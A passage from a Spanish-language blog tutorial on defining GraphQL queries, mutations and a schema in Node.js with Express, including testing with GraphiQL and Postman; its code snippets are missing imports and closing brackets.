Como podemos observar al inicio estamos haciendo import de varios módulos que representan tipos de datos escalares en graphQL, adicionalmente hacemos import de otras 2 entidades de nuestra aplicación, actorQL.js y commentQL.js, después en el atributo fields de nuestro objeto movieQL definimos varios campos del mismo junto con su tipo y aqui viene lo mas importante, definimos actors como una lista de tipo actorQL y comments como una lista de tipo commentQL, el código de las otras entidades es bastante similar al de movieQL por lo que no lo pondre en el post, pueden revisarlo en el repositorio: actorQL.js y commentQL.js

Queries y mutations

Otro de los conceptos básicos en graphQL son las queries y las mutations, existe toda una teoría detrás pero en resumen:

  • Queries: nos permiten leer datos del servidor (por lo general extraídos de una db)
  • Mutations: Crear / modificar / borrar datos en el servidor

Dentro de la misma carpeta graphql vamos a crear 2 nuevos archivos, queryQL.js y mutationQL.js

import {
} from 'graphql';

import movieQL from './movieQL';
import { movies } from '../data';

const query = new GraphQLObjectType({
    name: 'Query',
    description: 'This is the root Query',
    fields: () => {
      return Object.assign({
        getMovies: {
          type: new GraphQLList(movieQL),
          args: {},
          resolve(root, args, request) {
            // do some db queries
            return movies;

export default query;

Para efectos de que esto es un demo no estamos utilizando ningún orm para conectarnos a alguna base de datos, pero ustedes son libres de elegir e implementar el que mas le guste, de la misma forma que en movieQL.js definimos los fields aquí estamos definiendo nuestros “endpoints”, por ejemplo estamos diciendo que getMovies es una query que nos regresara una lista de movieQL y estamos haciendo return del objeto movies (que es un objeto de ejemplo que importamos de la carpeta data).

De la misma forma dentro de mutationQL.js declaramos una operación llamada createMovie que nos retornara un objeto tipo movieQL (después de haberlo creado), la parte importante aquí es que por lo general los mutations reciben argumentos (name, year, score, lista de actores, lista de comentarios) y de nuevo, para efectos de que esto es un demo no estamos haciendo nada con los datos que nos enviá el usuario, simplemente los regresamos en la respuesta.

import {
} from 'graphql';

import movieQL from './movieQL';

const actorInputQL = new GraphQLInputObjectType({
  name: 'actorInputQL',
  fields: {
    name: { type: GraphQLString },
    age: { type: GraphQLInt },
    country: { type: GraphQLString },

const commentInputQL = new GraphQLInputObjectType({
  name: 'commentInputQL',
  fields: {
    user: { type: GraphQLString },
    commentary: { type: GraphQLString },
    timestamp: { type: GraphQLString },

const mutation = new GraphQLObjectType({
  name: 'Mutation',
  description: 'This is the root Mutation',
  fields: () => {
    return Object.assign({
      createMovie: {
        type: movieQL,
        args: {
          name: {
            type: new GraphQLNonNull(GraphQLString),
          year: {
            type: GraphQLInt,
          score: {
            type: GraphQLFloat,
          actors: {
            type: new GraphQLList(actorInputQL),
          comments: {
            type: new GraphQLList(commentInputQL),
        resolve(root, args, request) {
          // do something here
          return args;

export default mutation;

Hasta aquí ya tenemos definidos nuestros queries y mutations de ejemplo, ha llegado el momento de definir un schema de graphQL e integrar todo con express, es bastante sencillo, comenzamos creando un archivo llamado schemaQL.js también dentro de la carpeta graphql

import { GraphQLSchema } from 'graphql';
import queryQL from './queryQL';
import mutationQL from './mutationQL';

const schemaQL = new GraphQLSchema({
  query: queryQL,
  mutation: mutationQL,

export default schemaQL;

Como podemos ver, simplemente importamos los modulos de queryQL y mutationQL y finalmente en nuestro entry point (app.js) mandamos llamar a graphQL con el schema recién creado.

import express from 'express';
import GraphHTTP from 'express-graphql';
import schemaQL from './graphql/schemaQL';

var app = express();

app.use('/graphiql', GraphHTTP({
    schema: schemaQL,
    pretty: true,
    graphiql: true

app.use('/graphql', GraphHTTP({
    schema: schemaQL

app.get('/', function (req, res, next) {
  const reponse = {
    message: 'hello world',
  return res.json(reponse);

module.exports = app;

Notaran que tenemos definidos 2 endpoints, graphql y graphiql. GraphiQL es una herramienta bastante útil que viene con el modulo de graphQL, se trata de una pequeña interfaz web desde donde podemos probar nuestras queries y mutations y la cual nos genera una documentación con base en los objetos QL de nuestro código, por ejemplo para probar nuestra query de getMovies seria algo como lo siguiente:

Observen que del lado izquierdo estoy definiendo los atributos que quiero que contengan los objetos de la respuesta, puedo solicitar mas o menos dependiendo de lo que el cliente pida, ayudando bastante a, por ejemplo, reducir el tamaño de los mensajes si la petición se hace desde un cliente móvil.

De la misma forma podemos probar nuestro mutation por medio de graphiQL

Observen como desde el cliente podemos pasar directamente el objeto con sus atributos, incluso los objetos relacionados como la lista de actores y comentarios, ya es cuestión de procesar todo eso en nuestro backend y crear los registros en la base de datos.

Todo bien hasta el momento, ya sabemos utilizar graphiQL, ahora como usamos nuestra api ya en un proyecto real, muy sencillo, cada vez que hacemos un request en google developer toolbar podemos observar cual es el payload que se enviá al servidor:

Podemos tomar ese mismo payload y con la ayuda de POSTMAN enviarlo como raw body a nuestro endpoint de graphQL en /graphql

Observa como el POST request va dirigido a /graphql y no /graphiql, por ultimo desde el mismo POSTMAN podemos ver cual seria el HTTP request generado haciendo clic en el boton code

Finalmente lo único que queda es implementar ese request en tu lenguaje de programación / framework favorito, a continuación dejo la presentación que utilice durante el evento por si necesitan revisarla asi como el repositorio de github donde esta alojado el código de este demo: graphql demo server